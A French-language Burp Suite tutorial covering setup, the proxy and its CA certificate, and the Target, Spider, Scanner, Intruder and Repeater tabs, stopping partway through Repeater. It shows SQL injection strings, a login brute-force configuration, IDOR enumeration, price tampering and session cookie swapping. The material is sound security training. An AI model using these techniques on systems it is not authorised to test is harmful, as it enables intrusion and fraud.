Aucun résultat pour cette recherche.
Cours Complet Burp Suite - De A à Z¶
Table des Matières¶
- Introduction à Burp Suite
- Installation et Configuration
- Interface et Navigation
- Proxy et Interception
- Target (Cible)
- Spider et Crawler
- Scanner (Version Pro)
- Intruder
- Repeater
- Sequencer
- Decoder
- Comparer
- Extensions (BApp Store)
- Techniques Avancées
- Cas Pratiques Complets
1. Introduction à Burp Suite¶
1.1 Qu’est-ce que Burp Suite ?¶
Burp Suite est la plateforme de test de sécurité d’applications web la plus populaire au monde. Développée par PortSwigger, elle est l’outil de référence pour les pentesters et chercheurs en sécurité web.
Versions disponibles : - Community Edition : Gratuite, fonctionnalités de base - Professional : Payante (~$449/an), scanner automatisé - Enterprise : Pour organisations, CI/CD integration
Utilisations principales : - Tests de pénétration web - Bug bounty hunting - Audit de sécurité applicative - Recherche en sécurité - Formation en sécurité web
1.2 Fonctionnalités Principales¶
┌─────────────────────────────────────────────┐
│ COMPOSANTS BURP SUITE │
├─────────────────────────────────────────────┤
│ │
│ PROXY │
│ └─> Intercepte et modifie le trafic HTTP │
│ │
│ TARGET │
│ └─> Cartographie du site cible │
│ │
│ SPIDER/CRAWLER │
│ └─> Découverte automatique de contenu │
│ │
│ SCANNER (Pro) │
│ └─> Détection automatique de vulns │
│ │
│ INTRUDER │
│ └─> Attaques automatisées (fuzzing, etc.) │
│ │
│ REPEATER │
│ └─> Modification et renvoi de requêtes │
│ │
│ SEQUENCER │
│ └─> Analyse de la qualité des tokens │
│ │
│ DECODER │
│ └─> Encodage/décodage de données │
│ │
│ COMPARER │
│ └─> Comparaison de réponses HTTP │
│ │
│ EXTENSIONS │
│ └─> Plugins additionnels (BApp Store) │
│ │
└─────────────────────────────────────────────┘
1.3 Workflow Typique¶
1. CONFIGURATION DU PROXY
└─> Configurer navigateur pour utiliser Burp
2. NAVIGATION ET INTERCEPTION
└─> Explorer l'application cible
3. CARTOGRAPHIE
└─> Site map complet dans Target
4. ANALYSE MANUELLE
└─> Repeater pour tester des payloads
5. ATTAQUES AUTOMATISÉES
└─> Intruder pour fuzzing/brute force
6. SCAN DE VULNÉRABILITÉS (Pro)
└─> Scanner automatique
7. EXPLOITATION
└─> Confirmer et exploiter les vulnérabilités
8. REPORTING
└─> Générer rapport avec preuves
1.4 Types de Vulnérabilités Détectables¶
Injection : - SQL Injection - XSS (Cross-Site Scripting) - Command Injection - LDAP Injection - XML Injection
Authentification : - Session Management issues - Weak passwords - Credential stuffing
Autorisation : - IDOR (Insecure Direct Object Reference) - Privilege Escalation - Path Traversal
Configuration : - Security Headers manquants - Information Disclosure - CORS misconfiguration
Logique Métier : - Race Conditions - Business Logic Flaws - CSRF (Cross-Site Request Forgery)
2. Installation et Configuration¶
2.1 Installation¶
Prérequis : Java¶
# Vérifier Java (requis JDK 11+)
java -version
# Installer Java si nécessaire (Ubuntu/Debian)
sudo apt update
sudo apt install openjdk-17-jre
# macOS
brew install openjdk@17
# Windows : télécharger depuis adoptium.net
Téléchargement et Installation¶
Linux / macOS :
# Télécharger depuis https://portswigger.net/burp/releases
# Linux
wget https://portswigger.net/burp/releases/download?product=community&type=Linux -O burpsuite_community.sh
chmod +x burpsuite_community.sh
./burpsuite_community.sh
# macOS
# Télécharger le .dmg et installer normalement
# Lancer Burp
java -jar burpsuite_community.jar
Windows :
- Télécharger l’installateur depuis https://portswigger.net/burp/releases
- Exécuter
burpsuite_community_windows-x64.exe - Suivre l’assistant d’installation
- Lancer depuis le menu Démarrer
Version Kali Linux¶
# Burp est préinstallé sur Kali
burpsuite
# Ou depuis le menu Applications > Web Application Analysis > burpsuite
2.2 Premier Lancement¶
# Lancer Burp Suite
java -jar burpsuite_community.jar
# Options de ligne de commande utiles
java -jar -Xmx4g burpsuite_community.jar # Allouer 4GB de RAM
java -jar burpsuite_community.jar --config-file=myconfig.json
Écran de démarrage : 1. Temporary project (Community) ou New project (Pro) 2. Use Burp defaults ou charger une config 3. Cliquer sur Start Burp
2.3 Configuration du Proxy¶
Dans Burp Suite¶
1. Aller dans "Proxy" > "Options"
2. Par défaut, écoute sur 127.0.0.1:8080
3. Vérifier que "Intercept is on" dans l'onglet "Intercept"
Configuration personnalisée :
Proxy Listeners:
- Add
- Bind to address: 127.0.0.1
- Bind to port: 8080
- Request handling: par défaut
Configuration du Navigateur¶
Firefox (Recommandé pour pentests) :
- Paramètres > Réseau > Paramètres de connexion
- Sélectionner Configuration manuelle du proxy
- HTTP Proxy :
127.0.0.1, Port :8080 - Cocher Utiliser ce serveur proxy pour tous les protocoles
- Supprimer
localhost, 127.0.0.1des Pas de proxy pour
Extension FoxyProxy (Recommandé) :
1. Installer FoxyProxy Standard
2. Ajouter un proxy:
- Title: Burp Suite
- Type: HTTP
- Hostname: 127.0.0.1
- Port: 8080
3. Activer/désactiver rapidement le proxy
Chrome/Chromium :
# Linux/macOS
google-chrome --proxy-server="127.0.0.1:8080"
# Ou utiliser l'extension SwitchyOmega
2.4 Installation du Certificat SSL¶
Pour intercepter HTTPS, il faut installer le certificat CA de Burp.
Télécharger le Certificat¶
1. Démarrer Burp
2. Configurer le proxy du navigateur
3. Naviguer vers http://burpsuite (ou http://127.0.0.1:8080)
4. Cliquer sur "CA Certificate" pour télécharger
5. Sauvegarder cacert.der
Installation Firefox¶
1. Paramètres > Vie privée et sécurité
2. Certificats > Afficher les certificats
3. Autorités > Importer
4. Sélectionner cacert.der
5. Cocher "Faire confiance à cette AC pour identifier des sites web"
6. OK
Installation Chrome (Linux)¶
# Convertir en format PEM
openssl x509 -inform DER -in cacert.der -out burp-ca.crt
# Ubuntu/Debian
sudo mkdir -p /usr/local/share/ca-certificates/
sudo cp burp-ca.crt /usr/local/share/ca-certificates/
sudo update-ca-certificates
# Chrome utilise les certificats système
Installation macOS¶
1. Double-cliquer sur cacert.der
2. Ajouter au Trousseau "Connexion"
3. Double-cliquer sur "PortSwigger CA"
4. Développer "Trust"
5. "When using this certificate": "Always Trust"
Installation Windows¶
1. Double-cliquer sur cacert.der
2. Install Certificate
3. Store Location: Current User
4. Place in store: Trusted Root Certification Authorities
5. Finish
Vérification¶
1. Naviguer vers https://google.com
2. Le trafic HTTPS devrait apparaître dans Burp
3. Pas d'avertissement SSL dans le navigateur
2.5 Configuration Initiale Recommandée¶
Désactiver l’Interception au Démarrage¶
Proxy > Options > Intercept Client Requests
Décocher "Intercept is on" par défaut si vous voulez browse normalement
Augmenter la Mémoire¶
# Créer un script de lancement
nano ~/burp.sh
#!/bin/bash
java -jar -Xmx4g /path/to/burpsuite_community.jar
chmod +x ~/burp.sh
Filtres de Scope¶
Target > Scope
Add: ^https?://target\.example\.com/.*$
Options > Cocher "Spider only in-scope items"
Désactiver Logging Inutile¶
Proxy > Options > Miscellaneous
Décocher des options si problèmes de performance
2.6 Projets et Configuration (Pro)¶
# Sauvegarder un projet
Project > Save copy
File > Save project as
# Charger configuration
Burp > Project options > Load project options
3. Interface et Navigation¶
3.1 Vue d’Ensemble de l’Interface¶
┌────────────────────────────────────────────────┐
│ Dashboard | Target | Proxy | Intruder | ... │ ← Onglets principaux
├────────────────────────────────────────────────┤
│ │
│ ┌─────────────────┐ ┌───────────────────┐ │
│ │ Site Map │ │ HTTP History │ │
│ │ │ │ │ │
│ │ Target tree │ │ Request/Response│ │
│ │ view │ │ panels │ │
│ └─────────────────┘ └───────────────────┘ │
│ │
└────────────────────────────────────────────────┘
3.2 Onglets Principaux¶
Dashboard (Pro)¶
- Vue d'ensemble du projet
- Tâches de scan en cours
- Statistiques des vulnérabilités trouvées
- Graphiques et métriques
Target¶
- Site map (arborescence du site)
- Scope definition (périmètre de test)
- Issue activity (vulnérabilités trouvées)
Proxy¶
- Intercept (interception des requêtes)
- HTTP history (historique complet)
- WebSockets history
- Options (configuration du proxy)
Intruder¶
- Positions (définir les points d'injection)
- Payloads (listes de valeurs à tester)
- Options (configuration de l'attaque)
- Results (résultats des attaques)
Repeater¶
- Envoi manuel de requêtes
- Modification à la volée
- Comparaison de réponses
Sequencer¶
- Analyse de tokens de session
- Tests statistiques de randomness
Decoder¶
- Encodage/décodage de données
- Multiples formats supportés
Comparer¶
- Comparaison de 2+ requêtes/réponses
- Diff visuel
Extensions¶
- Gestion des extensions
- BApp Store
- APIs
3.3 Navigation et Raccourcis¶
Raccourcis Clavier Essentiels¶
Ctrl/Cmd + Shift + I : Toggle intercept on/off
Ctrl/Cmd + R : Envoyer au Repeater
Ctrl/Cmd + I : Envoyer à l'Intruder
Ctrl/Cmd + Shift + B : Envoyer au Spider (Pro)
Ctrl/Cmd + Shift + A : Envoyer au Scanner (Pro)
Dans Repeater:
Ctrl/Cmd + Space : Envoyer la requête
Ctrl/Cmd + U : URL-encoder la sélection
Recherche:
Ctrl/Cmd + F : Rechercher
Navigation dans le Site Map¶
Click droit sur un item:
- Spider this branch
- Scan this branch (Pro)
- Add to scope
- Delete from site map
- Compare site maps
Personnalisation de l’Interface¶
User options > Display
- Font size
- Character sets
- HTTP message display
- Theme (Light/Dark dans versions récentes)
3.4 Filtres et Recherche¶
Filtrer l’HTTP History¶
Proxy > HTTP history > Filter
- Show only in-scope items
- Hide items without responses
- Filter by MIME type
- Filter by status code
- Filter by search term
Search Tool¶
Click droit dans HTTP history ou Site map > Search
- Regular expressions
- Case sensitive
- Negative search
3.5 État du Proxy¶
Indicateur en haut à droite:
- Orange: Intercept is ON
- Gray: Intercept is OFF
Cliquer pour toggle rapidement
4. Proxy et Interception¶
Le Proxy est le cœur de Burp Suite, permettant d’intercepter et modifier tout le trafic HTTP/HTTPS.
4.1 Interception de Base¶
Activer l’Interception¶
1. Proxy > Intercept
2. "Intercept is on" (bouton orange)
3. Naviguer dans le navigateur
4. Les requêtes apparaissent dans Burp
Actions sur une Requête Interceptée¶
Forward : Envoyer la requête sans modification
Drop : Abandonner la requête
Action : Menu avec options avancées
- Send to Repeater
- Send to Intruder
- Do intercept > Response to this request
Exemple d’Interception¶
Requête interceptée:
GET /api/user/profile HTTP/1.1
Host: example.com
Cookie: session=abc123
User-Agent: Mozilla/5.0
Modification:
GET /api/user/profile?id=2 HTTP/1.1
Host: example.com
Cookie: session=abc123
User-Agent: Burp/1.0
Forward
4.2 Interception de Réponses¶
1. Intercepter une requête
2. Action > Do intercept > Response to this request
3. Forward la requête
4. La réponse apparaît pour modification
Exemple : Modifier une réponse HTML
Réponse originale:
HTTP/1.1 200 OK
Content-Type: text/html
<script>var isAdmin = false;</script>
Modification:
HTTP/1.1 200 OK
Content-Type: text/html
<script>var isAdmin = true;</script>
4.3 Filtres d’Interception¶
Proxy > Options > Intercept Client Requests
Exemples de règles:
- And URL Is in target scope
- And Protocol Is https
- And Method Is POST
- And File extension Is in [php, asp, jsp]
- And Request Was intercepted
Intercept Server Responses:
- Intercept responses based on request rules
- Or Content-Type header Contains text/html
4.4 HTTP History¶
Proxy > HTTP history
Colonnes affichées:
- # : Numéro de requête
- Host : Domaine
- Method : GET, POST, etc.
- URL : Chemin
- Params : Présence de paramètres
- Edited : Modifié manuellement
- Status : Code HTTP
- Length : Taille réponse
- MIME type : Type de contenu
- Extension : Extension du fichier
- Title : Titre de la page
- Comment : Annotation
- TLS : Oui/Non
Filtrer l’Historique¶
Filter bar en haut:
- Filter by search term
- Show only: in-scope, parameterized, edited, etc.
- Filter by MIME type: HTML, Script, CSS, etc.
- Filter by status code: 2xx, 3xx, 4xx, 5xx
Annotations¶
Click droit sur une requête:
- Add comment
- Highlight (couleurs)
4.5 WebSockets¶
Proxy > WebSockets history
Intercepter WebSocket messages:
Proxy > Options > Intercept WebSocket Messages
- Client to server
- Server to client
4.6 Match and Replace¶
Modifier automatiquement les requêtes/réponses.
Proxy > Options > Match and Replace
Exemples:
Type: Request header
Match: User-Agent: .*
Replace: User-Agent: Burp Suite Scanner
Regex: Yes
Type: Request header
Match: ^Cookie:.*
Replace: (vide pour supprimer)
Type: Response body
Match: <title>(.*)</title>
Replace: <title>HACKED</title>
Regex: Yes
Cas d’usage : - Ajouter headers personnalisés - Remplacer User-Agent - Supprimer cookies - Modifier réponses pour tests - Bypass client-side restrictions
4.7 Proxy Options Avancées¶
TLS/SSL¶
Proxy > Options > TLS
Options:
- Use custom protocols and ciphers
- Disable Java SSL session resume
- Negotiate TLS 1.3
Hostname Resolution¶
Proxy > Options > Hostname Resolution
Rediriger un domaine vers une IP spécifique:
Host: example.com
IP: 192.168.1.100
Request Timeouts¶
Proxy > Options > Miscellaneous
Network timeout: 120 seconds (défaut)
4.8 Exemples Pratiques¶
Bypass Client-Side Validation¶
1. Désactiver JavaScript dans le navigateur
2. Ou intercepter la requête avec Burp
3. Modifier les valeurs après validation côté client
Exemple:
<input type="hidden" name="price" value="100">
Intercepter POST:
price=100&quantity=1
Modifier:
price=1&quantity=1
Forward
Test IDOR (Insecure Direct Object Reference)¶
Requête normale:
GET /api/document/123 HTTP/1.1
Intercepter et modifier:
GET /api/document/124 HTTP/1.1
GET /api/document/125 HTTP/1.1
Observer si accès non autorisé
Session Hijacking Test¶
1. Se connecter avec User A
2. Copier le cookie de session
3. Ouvrir un autre navigateur
4. Intercepter une requête
5. Remplacer le cookie par celui de User A
6. Vérifier si la session est valide
5. Target (Cible)¶
L’onglet Target permet de cartographier l’application et définir le périmètre de test.
5.1 Site Map¶
Le Site Map affiche l’arborescence complète de l’application découverte.
Target > Site Map
Vue arborescente:
└── https://example.com
├── /
├── /login
├── /api
│ ├── /users
│ └── /products
├── /admin
└── /static
├── /js
└── /css
Couleurs et Annotations¶
Noir : Non visité/découvert automatiquement
Gris : Pas de réponse ou erreur
Vert : 2xx Success
Orange: 3xx Redirect
Rouge : 4xx Client Error / 5xx Server Error
Click droit pour highlight ou add comment
Filtrage du Site Map¶
Filter bar:
- Show only in-scope items
- Show only requested items
- Hide not found (404)
- Hide empty folders
5.2 Scope (Périmètre)¶
Définir le scope est crucial pour éviter de tester des domaines non autorisés.
Target > Scope
Include in scope:
Protocol: https
Host: example.com
File: ^/.*
Regex examples:
^https?://example\.com/.*$
^https?://.*\.example\.com/.*$
^https?://example\.com/(api|admin)/.*$
Utiliser le Scope¶
Suite options > Scope
Cocher:
- Use advanced scope control
- Spider only in-scope items
- Only show in-scope items in Proxy history
Avantages:
- Focus sur la cible
- Éviter les domaines tiers (CDN, analytics)
- Réduire le bruit
Ajouter au Scope Rapidement¶
Click droit dans Proxy history ou Site map:
- Add to scope
Ou dans un item intercepté:
Action > Add to scope
5.3 Issue Activity (Pro)¶
Target > Issue activity
Liste des vulnérabilités trouvées:
- Severity: High, Medium, Low, Info
- Issue type: SQL Injection, XSS, etc.
- Path: URL affectée
- Status: New, Fixed, False positive
Click sur une issue pour voir:
- Description détaillée
- Remediation advice
- Request/Response proofs
- References
5.4 Analyse du Site Map¶
Identifier les Points d’Intérêt¶
Zones à privilégier:
- /admin, /manager, /console
- /api, /v1, /graphql
- Paramètres dans URLs
- Forms (POST requests)
- Upload functionality
- Authentication endpoints
Exporter le Site Map¶
Click droit sur un domaine:
- Save selected items
- Select all URLs
- Format: XML, text
Utile pour:
- Documentation
- Reporting
- Import dans autres outils
5.5 Comparaison de Site Maps¶
Target > Site map > Click droit sur host
- Compare site maps
Comparer:
- Before/after authentication
- Different users
- Different configurations
Identifies:
- New endpoints
- Removed endpoints
- Changed responses
5.6 Découverte Manuelle vs Automatique¶
Manuelle (via navigation):
+ Découvre les fonctionnalités complexes
+ Respecte la logique applicative
- Peut manquer des endpoints cachés
Automatique (Spider):
+ Découvre rapidement
+ Trouve endpoints non liés
- Peut manquer logique complexe (AJAX, etc.)
Recommandation: Combiner les deux
6. Spider et Crawler¶
Le Spider permet de découvrir automatiquement le contenu d’une application web.
6.1 Spider Traditionnel (Community)¶
Click droit sur un item dans Target ou Proxy:
- Spider this host
- Spider from here
Configuration :
Target > Site map > Click droit > Spider this branch
Spider options:
- Crawl optimization
- Application login
- Spider engine
- Request headers
- Form submission
Limites du Spider Community¶
- Pas de JavaScript rendering
- Peut manquer du contenu dynamique
- Pas de scanning automatique post-crawl
6.2 Crawler (Pro - Burp 2.0+)¶
Le Crawler moderne remplace le Spider et supporte JavaScript.
Dashboard > New scan > Crawl
Configuration:
1. Scan type: Crawl only
2. URLs to scan: https://example.com
3. Crawl optimization: Normal/Fast/Thorough
4. Application login: Optional
5. Start scan
Options du Crawler :
Scan configuration:
- Crawl strategy: Most complete/Fastest
- Maximum link depth: 10 (default)
- JavaScript analysis: Yes
- Handle errors: Continue
- Maximum crawl duration: 60 minutes
6.3 Configuration du Spider/Crawler¶
Application Login¶
Pour crawler les zones authentifiées :
Méthode 1: Record login sequence
1. Dashboard > New scan
2. Application login: Record login sequence
3. Naviguer et se connecter
4. Burp enregistre les étapes
5. Use this sequence for crawling
Méthode 2: Use session handling
1. Project options > Sessions
2. Session handling rules
3. Add rule: Use cookies from Burp's cookie jar
Form Submission¶
Spider/Crawler options:
- Don't submit forms
- Prompt for guidance (manuel)
- Automatically submit (avec valeurs par défaut)
- Intelligent form filling (Pro)
6.4 Content Discovery¶
Découvrir des fichiers/répertoires cachés.
Target > Site map > Click droit > Engagement tools > Discover content
Configuration:
- Use smart brute force
- Wordlists location
- File extensions: php, asp, aspx, jsp, txt, bak
- Directories: admin, backup, old, test
Basé sur:
- Wordlists intégrées
- Réponses observées (intelligent)
Wordlists Personnalisées¶
Burp menu > Project options > Misc > Embedded browser path
Ajouter wordlists custom:
- /usr/share/wordlists/dirb/common.txt
- /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
- SecLists (https://github.com/danielmiessler/SecLists)
6.5 Analyse Post-Crawl¶
Après crawl, analyser le Site Map:
1. Identifier endpoints intéressants
2. Paramètres dans URLs
3. Forms avec input
4. File uploads
5. API endpoints
6. Admin panels
Filtrer:
- Parameterized requests
- Scripts (*.js)
- Dynamic pages
6.6 Limitations et Contournements¶
JavaScript Lourd (SPA)¶
Problème: Spider/Crawler rate du contenu AJAX
Solutions:
1. Utiliser Burp Pro avec JS analysis
2. Naviguer manuellement l'application
3. Utiliser extensions:
- JS Link Finder
- GAP (Google Analytics Parser)
Rate Limiting¶
Spider options:
- Throttle requests
- Maximum concurrent requests: 5
- Delay between requests: 500ms
WAF/IDS Detection¶
Spider options:
- Randomize User-Agent
- Throttle heavily
- Use session handling pour garder cookies valides
7. Scanner (Version Pro)¶
Le Scanner automatise la détection de vulnérabilités. Disponible uniquement en version Professional.
7.1 Types de Scan¶
Crawl and Audit¶
Dashboard > New scan > Crawl and audit
Workflow:
1. Crawl le site (découverte)
2. Audit automatique de chaque endpoint
3. Report des vulnérabilités
Audit Selected Items¶
Dans Site map ou Proxy history:
Click droit > Scan > Audit selected items
Plus ciblé et rapide
Audit Items in Scope¶
Dashboard > New scan
Select: Scan all items in scope
Audit complet du périmètre défini
7.2 Configuration du Scan¶
Scan configuration:
Scan speed:
- Fast
- Normal
- Thorough
- Custom
Issues to detect:
- All issues
- Critical and high severity only
- Custom selection:
☑ SQL Injection
☑ XSS
☑ Command Injection
☑ Path Traversal
☐ SSL issues
...
7.3 Types de Vulnérabilités Détectées¶
Injection¶
- SQL Injection (Error-based, Boolean-based, Time-based)
- Command Injection (OS command injection)
- LDAP Injection
- XML Injection
- XPath Injection
- Code Injection
Cross-Site Scripting (XSS)¶
- Reflected XSS
- Stored XSS
- DOM-based XSS
- XSS in script contexts
- XSS in HTML attributes
Broken Authentication¶
- Password submitted in clear text
- Weak password policy
- Credentials submitted over HTTP
- Session fixation
Access Control¶
- IDOR (Insecure Direct Object References)
- Missing authorization
- Privilege escalation
- Path traversal
Security Misconfiguration¶
- Missing security headers
- Information disclosure
- Directory listing
- Backup files disclosed
- Version disclosure
XXE (XML External Entity)¶
- XXE injection
- XML parsing errors
SSRF (Server-Side Request Forgery)¶
- SSRF via URL parameter
- SSRF via HTTP header
Deserialization¶
- Insecure deserialization
- Java deserialization
7.4 Gestion des Résultats¶
Dashboard > Issue activity
Colonnes:
- Severity: Critical, High, Medium, Low, Info
- Issue type
- Path
- Status
Actions:
- Set severity (ajuster)
- Mark as false positive
- Report issue
- Request/Response: voir les preuves
Filtrage des Issues¶
Filter:
- By severity
- By confidence (Certain, Firm, Tentative)
- By type
- New issues only
Advisory/Remediation¶
Cliquer sur une issue pour voir:
- Description complète
- Proof of concept request/response
- Remediation advice
- References (OWASP, CWE)
- Vulnerability classifications
7.5 Scan Passif vs Actif¶
Passive Scanning¶
Activé par défaut, analyse les réponses sans envoyer de requêtes additionnelles.
Détecte:
- Missing security headers
- Information disclosure
- Insecure cookies
- Vulnerable JavaScript libraries
Dashboard > Live passive crawl from Proxy (always running)
Active Scanning¶
Envoie des payloads pour tester les vulnérabilités.
Détecte:
- SQL Injection
- XSS
- Command Injection
- Etc.
Attention: Plus bruyant, peut être détecté
7.6 Insertion Points¶
Les endroits où Burp injecte des payloads :
- URL parameters
- Body parameters
- Cookies
- HTTP headers
- File uploads
- JSON/XML values
Configuration:
Scan > Scan configuration > Insertion points
- URL path components
- URL parameter values
- Body parameter values
- Cookies
- HTTP headers
- REST-style URL parameters
7.7 Rapports de Scan¶
Dashboard > Issues > Select issues
Click droit > Report selected issues
Formats:
- HTML (recommandé pour présentation)
- XML (pour import dans autres outils)
Sections du rapport:
- Executive summary
- Vulnerability types summary
- Detailed findings avec preuves
- Remediation guidance
7.8 Optimisation des Scans¶
Pour sites larges:
1. Définir un scope précis
2. Utiliser "Fast" scan speed initialement
3. Scan ciblé sur endpoints critiques
4. Scheduled scans (Pro feature)
Throttling:
Scan configuration > Resource pool
- Maximum concurrent requests: 10
- Delay between requests: 0ms (ou plus si rate limiting)
8. Intruder¶
L’Intruder est l’outil d’attaque automatisé de Burp, permettant fuzzing, brute force, et tests personnalisés.
8.1 Workflow Intruder¶
1. Envoyer une requête à Intruder (Ctrl+I)
2. Target: Vérifier host et port
3. Positions: Définir les points d'injection
4. Payloads: Choisir les valeurs à injecter
5. Options: Configurer l'attaque
6. Start attack
7. Analyser les résultats
8.2 Types d’Attaque¶
Sniper¶
Un seul ensemble de payloads, testé sur chaque position une par une.
Exemple:
Position: username=§test§&password=§pass§
Payloads: admin, user, guest
Requêtes:
1. username=admin&password=pass
2. username=user&password=pass
3. username=guest&password=pass
4. username=test&password=admin
5. username=test&password=user
6. username=test&password=guest
Utilité: Tester un paramètre à la fois
Battering Ram¶
Un seul ensemble de payloads, appliqué à toutes les positions simultanément.
Exemple:
Position: username=§test§&password=§pass§
Payloads: admin, user, guest
Requêtes:
1. username=admin&password=admin
2. username=user&password=user
3. username=guest&password=guest
Utilité: Tester la même valeur partout
Pitchfork¶
Plusieurs ensembles de payloads, itération parallèle.
Exemple:
Position: username=§test§&password=§pass§
Payload set 1: admin, user, guest
Payload set 2: admin123, user123, guest123
Requêtes:
1. username=admin&password=admin123
2. username=user&password=user123
3. username=guest&password=guest123
Utilité: Combos username/password connus
Cluster Bomb¶
Plusieurs ensembles de payloads, toutes les combinaisons (produit cartésien).
Exemple:
Position: username=§test§&password=§pass§
Payload set 1: admin, user
Payload set 2: pass123, admin123
Requêtes:
1. username=admin&password=pass123
2. username=admin&password=admin123
3. username=user&password=pass123
4. username=user&password=admin123
Utilité: Brute force exhaustif (lent!)
8.3 Définir les Positions¶
Intruder > Positions
Boutons:
- Add §: Marquer position
- Clear §: Effacer positions
- Auto §: Détection auto
Sélectionner la valeur à remplacer, puis cliquer Add §
Exemple:
GET /user?id=§123§ HTTP/1.1
Cookie: session=§abc123§
8.4 Configuration des Payloads¶
Intruder > Payloads
Payload set: 1 (si multiples positions)
Payload type: [sélectionner type]
Types de Payloads¶
Simple List
Liste simple de valeurs.
Add: Ajouter manuellement
Load: Charger depuis fichier
Paste: Coller depuis clipboard
Exemple:
admin
user
guest
test
root
Runtime File
Lire depuis fichier ligne par ligne (économise RAM).
Configuration:
Select file: /path/to/wordlist.txt
Numbers
Séquence numérique.
Configuration:
Type: Sequential
From: 1
To: 1000
Step: 1
Format: Decimal
Utilité: IDOR testing, brute force IDs
Dates
Format: dd/MM/yyyy
From: 01/01/2020
To: 31/12/2023
Utilité: Tester dates de naissance, etc.
Brute Forcer
Générer toutes les combinaisons.
Character set: abcdefghijklmnopqrstuvwxyz
Min length: 4
Max length: 6
Attention: Très gourmand!
Exemple: 4 caractères = 26^4 = 456,976 requêtes
Null Payloads
N'envoie rien, utilisé pour répéter une requête.
Generate: 100 payloads
Utilité: Race conditions, load testing
Character Substitution
Substituer des caractères.
Base string: password
Substitutions:
a -> @
e -> 3
o -> 0
Résultats:
password
p@ssword
p@ssw0rd
passw0rd
...
Username Generator
Générer des usernames basés sur noms.
Input: John Smith
Output:
john.smith
jsmith
smithj
john_smith
...
Custom Iterator
Combiner plusieurs listes avec séparateurs.
Position 1: [admin, user, guest]
Separator: _
Position 2: [2020, 2021, 2022]
Output:
admin_2020
admin_2021
user_2020
...
8.5 Payload Processing¶
Intruder > Payloads > Payload Processing
Add rule:
- Add prefix
- Add suffix
- Match/Replace
- Substring
- Reverse
- Base64 encode
- URL encode
- Hash (MD5, SHA1, SHA256)
Exemple:
Payload: admin
Add prefix: user_
Hash: MD5
Final: MD5(user_admin) = ...
8.6 Payload Encoding¶
Intruder > Payloads > Payload Encoding
URL-encode these characters:
☑ & = ; : + ? / # @ ! $ ' ( ) * , [ ] { } | \ " < > %
Utile pour:
- Éviter de casser la requête
- Tester l'encodage
8.7 Options de l’Attaque¶
Intruder > Options
Request Engine:
- Number of threads: 5 (Community) / illimité (Pro)
- Delay between requests: 0ms
- Throttle: pour éviter rate limiting
Request Handling:
- Follow redirections: Always/Never/On-site only
- Process cookies in redirections
Grep - Match¶
Extraire des chaînes des réponses.
Intruder > Options > Grep - Match
Add:
- Success
- Invalid
- Error
- Welcome
Résultats montreront une colonne par pattern avec ✓ si trouvé
Grep - Extract¶
Extraire des valeurs spécifiques.
Example: Extraire CSRF token
Intruder > Options > Grep - Extract
Add
Fetch response
Select in response: <input name="csrf" value="abc123">
OK
Chaque résultat affichera la valeur extraite
Grep - Payloads¶
Rechercher les payloads dans les réponses.
Utile pour:
- XSS: voir si payload reflété
- SQL Injection: voir si payload dans erreur
Redirections¶
Options > Redirections
Never: Ne pas suivre
Always: Suivre toutes
On-site only: Suivre seulement même domaine
Utile pour:
- Tester redirections open
- Éviter de sortir du scope
8.8 Analyser les Résultats¶
Results table columns:
- Request: Numéro
- Position: Position testée (si multiple)
- Payload: Valeur injectée
- Status: Code HTTP
- Error: Erreur réseau
- Timeout: Timeout
- Length: Taille de la réponse
- Comment: Annotation
Trier par colonne pour identifier anomalies
Identifier les Succès¶
Indices de succès:
- Different status code (200 vs 401)
- Different length
- Presence of "Success" string
- Absence of "Invalid" string
- Redirection
Filtrer:
Click sur column header > Show only matching items
Exemple : Brute Force Login¶
POST /login HTTP/1.1
Content-Type: application/x-www-form-urlencoded
username=§admin§&password=§password§
Positions: Cluster bomb
Payload 1: usernames.txt
Payload 2: passwords.txt
Grep - Match: "Welcome", "Invalid credentials"
Résultats:
Trier par "Welcome" ✓ pour trouver combos valides
8.9 Rate Limiting et Throttling¶
Community Edition:
- Limité à 1 thread (lent)
Contournement (éthique uniquement!):
- Utiliser Turbo Intruder extension
- Multiples instances de Burp
Professional:
- Threads illimités
- Resource pools pour contrôler la charge
8.10 Cas d’Usage Courants¶
Fuzzing de Paramètres¶
GET /api/user?id=§1§&format=§json§
Payload 1: Numbers 1-1000
Payload 2: json, xml, html, pdf
Identifier formats supportés et IDOR
Test d’Injection SQL¶
POST /search HTTP/1.1
query=§test§
Payloads: SQL injection wordlist
' OR '1'='1
' OR 1=1--
admin'--
...
Grep - Match: SQL error keywords
Brute Force de Token¶
GET /api/token?code=§ABCD§
Payload: Brute forcer
Character set: ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789
Length: 4
Grep - Match: "valid", "invalid"
9. Repeater¶
Le Repeater permet d’envoyer des requêtes HTTP manuellement et d’observer les réponses.
9.1 Interface du Repeater¶
Repeater tab:
┌────────────────────────────────────────┐
│ Request │
│ ┌──────────────────────────────────┐ │
│ │ GET /api/user?id=1 HTTP/1.1 │ │
│ │ Host: example.com │ │
│ │ Cookie: session=abc123 │ │
│ └──────────────────────────────────┘ │
│ │
│ [Send] [Cancel] │
│ │
│ Response │
│ ┌──────────────────────────────────┐ │
│ │ HTTP/1.1 200 OK │ │
│ │ Content-Type: application/json │ │
│ │ │ │
│ │ {"id":1,"name":"John"} │ │
│ └──────────────────────────────────┘ │
└────────────────────────────────────────┘
9.2 Envoyer une Requête au Repeater¶
Depuis Proxy ou Site map:
Click droit > Send to Repeater
Ou: Ctrl/Cmd + R
La requête apparaît dans un nouvel onglet Repeater
9.3 Modifier et Envoyer¶
1. Modifier la requête dans le panel Request
2. Cliquer "Send" ou Ctrl/Cmd + Space
3. Observer la réponse dans le panel Response
Exemple :
Original:
GET /api/user?id=1 HTTP/1.1
Modifications successives:
GET /api/user?id=2 HTTP/1.1
GET /api/user?id=3 HTTP/1.1
GET /api/user?id=1' OR '1'='1 HTTP/1.1
9.4 Vues de la Réponse¶
Response tabs:
- Raw: Réponse brute
- Headers: Headers uniquement
- Hex: Vue hexadécimale
- HTML: Rendu HTML (si applicable)
- Render: Rendu complet avec CSS/JS
Pour JSON:
- Pretty: JSON formaté et coloré
9.5 Request/Response Actions¶
Actions sur la Requête¶
Click droit dans Request panel:
- Change request method: GET ↔ POST
- Change body encoding
- URL-encode as you type
- Save item
- Copy URL
- Copy as curl command
Changer Method GET ↔ POST¶
Utile pour tester si l'application accepte les deux méthodes.
GET /delete?id=123
→
POST /delete
id=123
9.6 Inspector¶
Activé en bas ou à droite du Repeater.
Request inspector:
- Query parameters (éditable)
- Body parameters (éditable)
- Cookies (éditable)
